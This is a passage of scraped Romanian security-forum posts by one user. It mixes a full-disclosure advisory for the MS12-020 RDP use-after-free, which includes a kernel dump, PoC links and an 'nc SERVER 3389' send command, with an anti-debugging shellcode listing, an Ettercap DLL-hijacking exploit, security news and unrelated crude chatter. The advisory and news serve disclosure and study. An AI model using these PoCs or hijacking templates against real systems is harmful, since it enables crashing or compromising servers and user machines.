Nytro

Full disclosure ####################################################################### Luigi Auriemma Application: Microsoft Terminal Services / Remote Desktop Services http://www.microsoft.com http://msdn.microsoft.com/en-us/library/aa383015(v=vs.85).aspx Versions: any Windows version before 13 Mar 2012 Platforms: Windows Bug: use after free Exploitation: remote, versus server Date: 16 Mar 2012 (found 16 May 2011) Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org Additional references: http://www.zerodayinitiative.com/advisories/ZDI-12-044/ http://technet.microsoft.com/en-us/security/bulletin/ms12-020 ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== From vendor's homepage: "The Microsoft Remote Desktop Protocol (RDP) provides remote display and input capabilities over network connections for Windows-based applications running on a server. RDP is designed to support different types of network topologies and multiple LAN protocols." ####################################################################### ====== 2) Bug ====== The Remote Desktop Protocol is used by the "Terminal Services / Remote Desktop Services" and works at kernel level on port 3389. There is an use-after-free vulnerability located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packet (offset 0x2c of the provided proof-of-concept) when set to a value minor/equal than 5. The problem happens during the disconnection of the user started with RDPWD!NM_Disconnect while the effect of the possible code execution is visible in termdd!IcaBufferAlloc (or termdd!IcaBufferAllocEx on Windows 7/2008) after termdd!IcaGetPreviousSdLink returns an invalid memory pointer, the following dump is taken from Windows 2003 Server: f761887c 8bff mov edi,edi f761887e 55 push ebp f761887f 8bec mov ebp,esp f7618881 56 push esi f7618882 57 push edi f7618883 8b7d08 mov edi,dword ptr [ebp+8] f7618886 8d47ec lea eax,[edi-14h] f7618889 50 push eax f761888a eb09 jmp termdd!IcaBufferAlloc+0x19 (f7618895) f761888c 8b4618 mov eax,dword ptr [esi+18h] ; we are here f761888f 833800 cmp dword ptr [eax],0 ; or here f7618892 7527 jne termdd!IcaBufferAlloc+0x3f (f76188bb) ; must jump f7618894 56 push esi f7618895 e878290000 call termdd!IcaGetPreviousSdLink (f761b212) ; the new ESI is returned by this function f761889a 8bf0 mov esi,eax f761889c 85f6 test esi,esi f761889e 75ec jne termdd!IcaBufferAlloc+0x10 (f761888c) f76188a0 ff751c push dword ptr [ebp+1Ch] f76188a3 ff7518 push dword ptr [ebp+18h] f76188a6 ff7514 push dword ptr [ebp+14h] f76188a9 ff7510 push dword ptr [ebp+10h] f76188ac ff750c push dword ptr [ebp+0Ch] f76188af 57 push edi f76188b0 e8b9fcffff call termdd!IcaBufferAllocInternal (f761856e) f76188b5 5f pop edi f76188b6 5e pop esi f76188b7 5d pop ebp f76188b8 c21800 ret 18h f76188bb 33c0 xor eax,eax f76188bd 53 push ebx f76188be 8d7e10 lea edi,[esi+10h] f76188c1 40 inc eax f76188c2 f00fc107 lock xadd dword ptr [edi],eax f76188c6 ff751c push dword ptr [ebp+1Ch] f76188c9 8b4618 mov eax,dword ptr [esi+18h] ; the same value of before f76188cc ff7518 push dword ptr [ebp+18h] f76188cf ff7514 push dword ptr [ebp+14h] f76188d2 ff7510 push dword ptr [ebp+10h] f76188d5 ff750c push dword ptr [ebp+0Ch] f76188d8 ff761c push dword ptr [esi+1Ch] f76188db ff10 call dword ptr [eax] ; code execution f76188dd 8bd8 mov ebx,eax f76188df 83c8ff or eax,0FFFFFFFFh f76188e2 f00fc107 lock xadd dword ptr [edi],eax f76188e6 7506 jne termdd!IcaBufferAlloc+0x72 (f76188ee) f76188e8 56 push esi f76188e9 e8382f0000 call termdd!_IcaUnloadSd (f761b826) f76188ee 8bc3 mov eax,ebx f76188f0 5b pop ebx f76188f1 ebc2 jmp termdd!IcaBufferAlloc+0x39 (f76188b5) eax=040b0402 ebx=e1492090 ecx=00390080 edx=00000003 esi=040b0402 edi=e1438240 eip=f762888c esp=b832f9d8 ebp=b832f9e0 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 termdd!IcaBufferAlloc+0x10: f762888c 8b4618 mov eax,dword ptr [esi+18h] ds:0023:040b041a=???????? ChildEBP RetAddr b8b399e0 b89c1c34 termdd!IcaBufferAlloc+0x10 b8b39a00 b89c1c67 RDPWD!StackBufferAlloc+0x26 b8b39a2c b89a902c RDPWD!MCSDetachUserRequest+0x29 b8b39a40 b89a8b44 RDPWD!NMDetachUserReq+0x14 b8b39a4c b89a9185 RDPWD!NM_Disconnect+0x16 b8b39a58 b89adcb4 RDPWD!SM_Disconnect+0x27 b8b39a68 b89a906d RDPWD!SM_OnConnected+0x70 b8b39a88 b89a8db4 RDPWD!NMAbortConnect+0x23 b8b39ac0 b89a9d88 RDPWD!NM_Connect+0x86 b8b39ae0 b89abcfc RDPWD!SM_Connect+0x112 b8b39b08 b89ac786 RDPWD!WDWConnect+0x368 b8b39b3c b89a6959 RDPWD!WDWConfConnect+0x94 b8b39b70 f762c1c7 RDPWD!WD_Ioctl+0x1227 b8b39b8c f762c5a3 termdd!_IcaCallSd+0x35 b8b39bac f762ca10 termdd!_IcaCallStack+0x55 b8b39bf4 f762abcc termdd!IcaDeviceControlStack+0x414 b8b39c24 f762ad20 termdd!IcaDeviceControl+0x4e b8b39c3c 8081d5c3 termdd!IcaDispatch+0x12a b8b39c50 808ed4eb nt!IofCallDriver+0x45 b8b39c64 808ee28d nt!NtWriteFile+0x2943 b8b39d00 808e6dbc nt!NtWriteFile+0x36e5 b8b39d34 80883968 nt!NtDeviceIoControlFile+0x2a b8b39d64 7c82847c nt!KeReleaseInStackQueuedSpinLockFromDpcLevel+0xb14 b8b39d68 badb0d00 ntdll!_NLG_Notify+0x14 On Windows 2003 that zone of the memory pointed by ESI+18 using the provided proof-of-concept is ever in the range 040b02??-040b04??. The exploitability depends by the possibility of controlling ESI or the content pointed by it (maybe via a form of heap spraying?), indeed in my quick tests this zone sometimes is allocated and others it isn't. Note that on the post-Vista Windows versions (like 7 and 2008) "seems" necessary to have "Allow connections from computers running any version of Remote Desktop" for being vulnerable. Anyway I'm not totally sure about this so-called limitation because it looks like dependent by my proof-of-concept only. The provided proof-of-concept uses the BER integer values set at 32bit (big endian) in case they could be useful for easier debugging. Additional details about the protocol: http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx ####################################################################### =========== 3) The Code =========== http://aluigi.org/poc/termdd_1.dat http://www.exploit-db.com/sploits/18606.dat nc SERVER 3389 < termdd_1.dat resend it multiple times in case of no results and note that this is just a simple proof-of-concept packet to quickly test the bug so it's not optimized at all. ####################################################################### ====== 4) Fix ====== http://technet.microsoft.com/en-us/security/bulletin/ms12-020 ####################################################################### Luigi Auriemma FTW!

Imi cer scuze, e vina mea, am rezolvat problema.

Scrieti un mic programel C (cateva linii sunt de ajuns) care sa detecteze daca un procesor este little endian sau big endian. Cred ca stiti care e diferenta... Nu e greu deloc, raspunsurile pe PM. Au raspuns pana acum: - Ellimist - BGS - H3xoR - NemesisITSC - Matei

Nu vreau sa par un nenorocit, dar ma pis pe el si pe toata porcaria de Romanii au Talent.

Securitytube Speak Up: The Ms12-020 Fiasco! Suspicions aroused as exploit for critical Windows bug is leaked (Updated) http://aluigi.org/adv/ms12-020_leak.txt

IP-uri de Uzbekistan, Thailanda, Mali (nu am auzit de tara asta), Columbia si alte tari, IP-uri care se repeta. E posibil sa fie DDOS, dar e unul penibil si fara sanse de izbanda.

Toti pe index, ce cacat cauta? Au fost si 15.000, au mai fost mai mult de 1000, cine stie de ce...

Nu va construiti vise in functie de promisiuni de mariri, realitatea e ceva mai dura.

"si nu stiti ce mortii mamicutelor voastre inseamna un SVN, si google code" Ce cuvinte ai ales ca sa te dai destept...

Microsoft: Remote Desktop Protocol Vulnerability Should be Patched Immediately By Brian Prince on March 13, 2012 Microsoft is urging organizations to apply the sole critical update in this month’s Patch Tuesday release as soon as possible. The critical bulletin – one of six security bulletins issued as part of today’s release – addresses two vulnerabilities in the Remote Desktop Protocol (RDP). “A little about MS12-020…this bulletin addresses one Critical-class issue and one Moderate-class issue in Remote Desktop Protocol (RDP),” Angela Gunn, security response communications manager for Microsoft’s Trustworthy Computing Group, explained in a blog post. “Both issues were cooperatively disclosed to Microsoft and we know of no active exploitation in the wild. The Critical-class issue applies to a fairly specific subset of systems – those running RDP – and is less problematic for those systems with Network Level Authentication (NLA) enabled.” “That said, we strongly recommend that customers examine and prepare to apply this bulletin as soon as possible,” she added. “The Critical-class issue could allow a would-be attacker to achieve remote code execution on a machine running RDP (a non-default configuration); if the machine does not have NLA enabled, the attacker would not require authentication for RCE access.” Ben Greenbaum, senior principle software engineer for Symantec’s Security Intelligence Group, agreed users should pay close attention to the RDP vulnerability. “RDP’s purpose is to enable remote access from the Internet, but preferably to an authenticated user,” he said. “In this case, a malicious attacker can potentially take complete control of the computer. Failed exploit attempts of this issue will likely result in the user being confronted with the blue screen of death. If an attacker can bypass standard memory protection measures, however, they will have access at the kernel level.” Those IT admins who use RDP to manage their machines over the internet, which is essentially the default in cloud-based installations such as Amazon’s AWS, need to patch as quickly as possible, Qualys CTOWolfgang Kandek opined. “If the patch cannot be applied that quickly or the necessary reboot cannot be scheduled, IT Admins should look into the available work-arounds that function immediately: protect the machine with restrictive firewalling, access RDP through a VPN service or switch to Microsoft’s NLA protocol that is supported in newer versions of Windows (Vista+) and is not vulnerable to the attack,” he said. Besides the RDP bugs, this month’s Patch Tuesday addressed five other vulnerabilities: two denial-of-service bugs and an escalation of privileges issue in Microsoft Windows; a remote code execution vulnerability in Microsoft Expression Design; and an escalation of privileges issue in Microsoft Visual Studio. All those issues are rated ‘important’ with the exception of one of the Windows’ denial-of-service bugs, which is rated ‘moderate.’ Also today, Adobe updated its ColdFusion software to address a vulnerability in versions 9.0.1 and earlier for Windows, Macintosh and UNIX systems that could lead to a denial-of-service attack using a hash algorithm collision. The company said it was unaware of any attempts to exploit the vulnerability in the wild. Sursa: Microsoft: Remote Desktop Protocol Vulnerability Should be Patched Immediately | SecurityWeek.Com Via: Microsoft: RDP Vulnerability Should Be Patched Immediately - Slashdot

[h=1]win xp sp2 PEB ISbeingdebugged shellcode[/h] #name: win xp sp2 PEB ISbeingdebugged shellcode #Author: ********* #Contact: teo.manojlovic@skole.hr #Date: 14.12.2009. here is the ASM code made using masm32 if program is being run under debugger the shellcode wil start beeping //////////////////////begin/////////////////////////////////////// .386 .model flat, stdcall option casemap :none INCLUDE C:\MASM32\INCLUDE\WINDOWS.INC INCLUDE C:\MASM32\INCLUDE\KERNEL32.INC INCLUDE C:\MASM32\INCLUDE\USER32.INC INCLUDE C:\MASM32\INCLUDE\MASM32.INC INCLUDELIB C:\MASM32\LIB\KERNEL32.LIB INCLUDELIB C:\MASM32\LIB\USER32.LIB INCLUDELIB C:\MASM32\LIB\MASM32.LIB .data ExitMsg DB "Enter to Exit", 0 .code start: assume fs:nothing mov eax,fs:[30h] mov eax, [eax+02h] mov ebx, 7FFF8000h add ebx,7FFF8000h inc ebx push 300h push 200h mov edx,7c837a8fh cmp eax,ebx jnz exit call edx exit: invoke ExitProcess,NULL end start /////////////////////////////end/////////////////////////////// here is the dump of code using olly debugger 00401000 >/$ 64:A1 30000000 MOV EAX,DWORD PTR FS:[30] 00401006 |. 8B40 02 MOV EAX,DWORD PTR DS:[EAX+2] 00401009 |. BB 0080FF7F MOV EBX,7FFF8000 0040100E |. 81C3 0080FF7F ADD EBX,7FFF8000 00401014 |. 43 INC EBX 00401015 |. 68 00030000 PUSH 300 ; /Duration = 768. ms 0040101A |. 68 00020000 PUSH 200 ; |Frequency = 200 (512.) 0040101F |. BA 8F7A837C MOV EDX,kernel32.Beep ; | 00401024 |. 3BC3 CMP EAX,EBX ; | 00401026 |. 75 02 JNZ SHORT antidebu.0040102A ; | 00401028 |. FFD2 CALL EDX ; \Beep 0040102A |> 6A 00 PUSH 0 ; /ExitCode = 0 0040102C \. E8 01000000 CALL <JMP.&kernel32.ExitProcess> ; \ExitProcess 00401031 CC INT3 00401032 .-FF25 00204000 JMP DWORD PTR DS:[<&kernel32.ExitProcess>; kernel32.ExitProcess here is the shellcode \x64\xA1\x30\x00\x00\x00\x8B\x40\x02\xBB\x00\x80\xFF\x7F\x81\xC3\x00\x80\xFF\x7F\x43\x68\x00\x03\x00\x00\x68\x00\x02\x00\x00\xBA\x8F\x7A\x83\x7C\x3B\xC3\x75\x02\xFF\xD2\x6A\x00\xE8\x01\x00\x00\x00\xCC\xFF\x25\x00\x20\x40\x00 Sursa: win xp sp2 PEB ISbeingdebugged shellcode Anti-debugging eficient...

Ettercap NG-0.7.3 DLL Hijacking Exploit (wpcap.dll) /* Exploit Title: Ettercap NG-0.7.3 DLL hijacking (wpcap.dll) Date: 25/08/2010 Author: ********* Tested on: Windows XP SP3 Vulnerable extensions: .pcap Compile and rename to wpcap.dll, create a file in the same dir .pcap extension and visit http://chaossecurity.wordpress.com/ */ #include <windows.h> #define DLLIMPORT __declspec (dllexport) DLLIMPORT void pcap_findalldevs() { evil(); } DLLIMPORT void pcap_close() { evil(); } DLLIMPORT void pcap_compile() { evil(); } DLLIMPORT void pcap_datalink() { evil(); } DLLIMPORT void pcap_datalink_val_to_description() { evil(); } DLLIMPORT void pcap_dump() { evil(); } DLLIMPORT void pcap_dump_close() { evil(); } DLLIMPORT void pcap_dump_open() { evil(); } DLLIMPORT void pcap_file() { evil(); } DLLIMPORT void pcap_freecode() { evil(); } DLLIMPORT void pcap_geterr() { evil(); } DLLIMPORT void pcap_getevent() { evil(); } DLLIMPORT void pcap_lib_version() { evil(); } DLLIMPORT void pcap_lookupdev() { evil(); } DLLIMPORT void pcap_lookupnet() { evil(); } DLLIMPORT void pcap_loop() { evil(); } DLLIMPORT void pcap_open_live() { evil(); } DLLIMPORT void pcap_open_offline() { evil(); } DLLIMPORT void pcap_setfilter() { evil(); } DLLIMPORT void pcap_snapshot() { evil(); } DLLIMPORT void pcap_stats() { evil(); } int evil() { WinExec("calc", 0); exit(0); return 0; } Sursa: Ettercap NG-0.7.3 DLL Hijacking Exploit (wpcap.dll) Am postat doar ca sa reamintesc acest "truc"...

Pff, nu stiu cum se cheama maneaua

Daca e vorba de o retea locala, Microsoft face toti banii aici... - Communicator (Lync mai nou) permite conferinte - Outlook permite sa stabilesti meeting-uri - Share-ingul e simplu si eficient ............................... Asta daca nu te referi la managementul codului sursa, acolo e alta poveste.

int main(int argc, char* argv[]) { // In argc ai numarul de parametri (+1, fisierul care se executa e argv[0]) // In argv[1]... Ai fiecare parametru // Parcurgi cu un for si vezi daca un parametru e "-name", si daca e, urmatorul parametru, daca exista, o sa fie acel fisier }

Cum am spus, probabil un moderator/administrator a luat aceasta decizie, si sincer, nu stiu cine deocamdata. Problema e ca nu ne bagam peste deciziile altei persoane din staff (pe cat posibil), discutam intre noi apoi ajungem la o concluzie. Ar fi cam aiurea ca cineva sa dea ban si altcineva sa il scoata... Cand o sa aflu despre ce e vorba, probabil vei primi contul inapoi, ai rabdare o zi, doua.

Mersi, ban permanent.

Sunt la munca si nu am putut sa ma uit peste el sa ma dau cu parerea, nu te mai purta copilareste, ca o "attention whore". Codul e frumos organizat, dar nu am timp sa il citesc sa vad exact despre ce e vorba, o sa ma uit diseara.

Daca nu il cheama "Nytro" tot degeaba.

Hackeri: http://2.bp.blogspot.com/-COoyZ5u_me8/T124fMkzWZI/AAAAAAAAFMw/WjjETqyp-fo/s640/Finally+Google+Chrome+gets+hacked+at+Pwn2Own.jpg Vupen Security and Sergey Glazunov independently managed to penetrate Google Chrome’s security defenses at the Pwn2Own and 'Pwnium' contests respectively. The annual competition, which invites ethical hackers from around the world to attempt hacking into the most popular web browsers and in the process expose vulnerabilities and loopholes in the browser's security, while grabbing a handsome reward. At this year's competition, the co-founder and head of research of Vupen, Chaouki Bekrar and his team managed to break into Google Chrome in less than 5 minutes, in the process quashing talks about the browser's unquestionable security. They used "a pair of zero-day vulnerabilities to take complete control of a fully patched 64-bit Windows 7 (SP1) machine." For the successful break-in, Vupen has won itself 32 points. Google Chrome security knew that the Flash Player plugin sandbox is significantly weaker and that an exploit against Chrome’s Flash Player would have to go through a certain path.Having figured out that Vupen used that technique (from the May video), Google decided to add a specific protection for Flash. The hack qualifies him for one of the top $60,000 prizes that are part of Google’s $1 million Pwnium challenge, and could be the launch of a new security career. VUPEN co-founder Chaouki Bekrar, an outspoken exploit writer who insisted the team deliberately targeted Chrome to prove a point, was uncharacteristically coy when asked if the faulty Chrome code came from Adobe.”It was a use-after-free vulnerability in the default installation of Chrome,” he said. “Our exploit worked against the default installation so it really doesn’t matter if it’s third-party code anyway.” Bekrar told, Zdnet reports. IE 9 on Windows 7 was also hacked, again through a complicated hack that had to circumvent the browser’s sandbox. Microsoft, however, may not respond so rapidly, as its quality testing procedure usually takes a few months to fix bugs like these.Safari on Mac OS X Snow Leopard, along with Firefox and IE 8 on Windows XP, was also hacked. Sursa: Finally Google Chrome gets hacked at Pwn2Own | The Hacker News (THN)

Mi-am cumparat azi "Biblia barbatului" si pot sa spun ca e geniala: - "Bea o bere in timp ce te pisi pentru a exemplifica expresia 'a intrat a si iesit'" - "Vinul potrivit pentru orice masa este, in mod surprinzator, berea" - "Nu te baga intr-o bataie intr-un bar de la tara daca nu ai castigat macar un concurs de lupte in viata ta" - "Daca o fata nu isi da jos sutienul in timpul unui masaj, e clar ca nu vei primi nimic. Renunta si deschide o cutie de bere" - "Dupa ce o tipa cu aparat dentar te-a satisfacut oral spune-i ca ti-a placut sa te dai pe sine si de acum inainte numeste-o CFR" - "Cand o tipa spune ca nu face oral, cuprinde-o tandru in brate si spune-i ca este ok, nu e nicio problema... altele fac" - "Un barbat nu poate descrie sub nicio forma o femeie grasa folosind fraza 'Are o fata draguta'" Si multe altele. E vorba despre "barbatii" din ziua de azi, ca devin din ce in ce mai femei, si incearca sa defineasca prin 900+ reguli, cum arata un barbat adevarat.

Design: ISR copiat. Categorii: RST copiat. Noutati: ((void *)0)

Trebuie sa existe o colaborare intre syadmin si programator, ca sysadmin nu poti bloca de exemplu "<script>" pentru ca poate ai gazduit un forum ca RST si vei bloca jumatate dintre posturi. Ca sysadmin, nu poti sa pui reguli pentru a evita SQL Injection, cum ar fi "UNION" pentru ca pot fi mesaje care sa contina acest cuvant perfect valide, care sa nu aiba nici cea mai mica legatura cu SQLI. Nu poti nici macar sa blochezi doua request-uri in mai putin de o secunda pentru ca se intampla ca aici, deschizi doua tab-uri si unul dintre ele e blocat si risti sa pierzi clienti. Programatorii vin cu tot felul de pretentii ca sa mearga scripturile lor, ceea ce e si normal, insa e problema lor sa se ocupe de securitatea APLICATIILOR WEB nu a sysadminilor. Ca folosesc scripturi 3rd party, de asemenea, e problema lor. Nu e vina sysadminului ca aplicatia are SQL Injection. Si oricum am spune, administratorii tot petrec mult timp sa verifice loguri, sa vada unde pot sa apara probleme in aplicatie si sa incerce sa le rezolve de pe partea de administrare, ceea ce repet, nu e ok, pentru ca ulterior pot sa apara probleme. Sysadmin: "Ba, esti tampit, ai SQL Injection in aplicatie, uite aici cateva loguri, uite ca unii au dat cu Acunetix si altii cu Havij, asta e parametru vulerabil, repara problema, doar nu o sa stau eu sa dau DROP la pachete pe baza de sute de vectori ce pot fi folositi pentru ca tu nu faci o filtrare pe parametrii aplicatiei".

Benny, du-te si vorbeste cu un sysadmin si discutam apoi.

Buffer Overflow Vulnerability in GOM Media Player v. 2.1.37 Gobejishvili (longrifle0x) from The Vulnerability Laboratory Research Team discover Buffer Overflow Vulnerability in GOM Media Player v. 2.1.37. GOM Player (Gretech Online Movie Player) is a 32/64-bit media player for Microsoft Windows, distributed by the Gretech Corporation of South Korea. A buffer overflow occurs when a program or process tries to store more data in a buffer (temporary data storage area) than it was intended to hold. Since buffers are created to contain a finite amount of data, the extra information - which has to go somewhere - can overflow into adjacent buffers, corrupting or overwriting the valid data held in them. Although it may occur accidentally through programming error, buffer overflow is an increasingly common type of security attack on data integrity. In this case, The vulnerability can be exploited by local or remote attackers and Vulnerable module is GomU+0x125cb7. Proof of Concept: 1) Download & open the software client 2) Click open ==> Url.. 3) Put vulnerability code 4) now you will see result http://www.youtube.com/watch?v=uN87KAm53Zg&feature=player_embedded In buffer overflow attacks, the extra data may contain codes designed to trigger actions, in effect sending new instructions to the attacked computer that could, for example, damage the user's files, change data, or disclose confidential information. Sursa: [POC] Buffer Overflow Vulnerability in GOM Media Player v. 2.1.37 | The Hacker News (THN)